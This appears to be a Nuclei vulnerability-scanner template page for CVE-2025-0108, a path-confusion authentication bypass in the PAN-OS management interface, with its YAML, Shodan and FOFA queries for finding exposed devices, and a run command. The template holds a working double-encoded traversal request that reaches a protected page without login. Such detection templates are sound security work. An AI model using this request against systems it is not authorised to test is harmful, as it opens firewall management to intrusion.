PAN-OS Management Interface - Path Confusion to Authentication Bypass

ID: CVE-2025-0108

Severity: critical

Author: halencarjunior,ritikchaddha

Tags: cve,cve2025,panos,auth-bypass,kev

Description

A vulnerability in PAN-OS management interface allows authentication bypass through path confusion between Nginx and Apache handlers.The issue occurs due to differences in path processing between Nginx and Apache, where double URL encoding combined with directory traversal can bypass authentication checks enforced by X-pan-AuthCheck header.

YAML Source

id: CVE-2025-0108

info:
  name: PAN-OS Management Interface - Path Confusion to Authentication Bypass
  author: halencarjunior,ritikchaddha
  severity: critical
  description: |
    A vulnerability in PAN-OS management interface allows authentication bypass through path confusion between Nginx and Apache handlers.The issue occurs due to differences in path processing between Nginx and Apache, where double URL encoding combined with directory traversal can bypass authentication checks enforced by X-pan-AuthCheck header.
  reference:
    - https://slcyber.io/blog/nginx-apache-path-confusion-to-auth-bypass-in-pan-os/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-0108
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    fofa-query: icon_hash="-631559155"
    shodan-query:
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
      - http.favicon.hash:"-631559155"
  tags: cve,cve2025,panos,auth-bypass,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "<title>Zero Touch Provisioning", "Zero Touch Provisioning (ZTP)")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100c82ff6820de4b488709b3e68c7fbbc6ae8249b0991e45dd9a8b3ec98aca58f2202202fb3af209d54d7de2b276ad45735ea3ff0422cf118f5abc1e4e85dc8a144cfa3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-0108.yaml"

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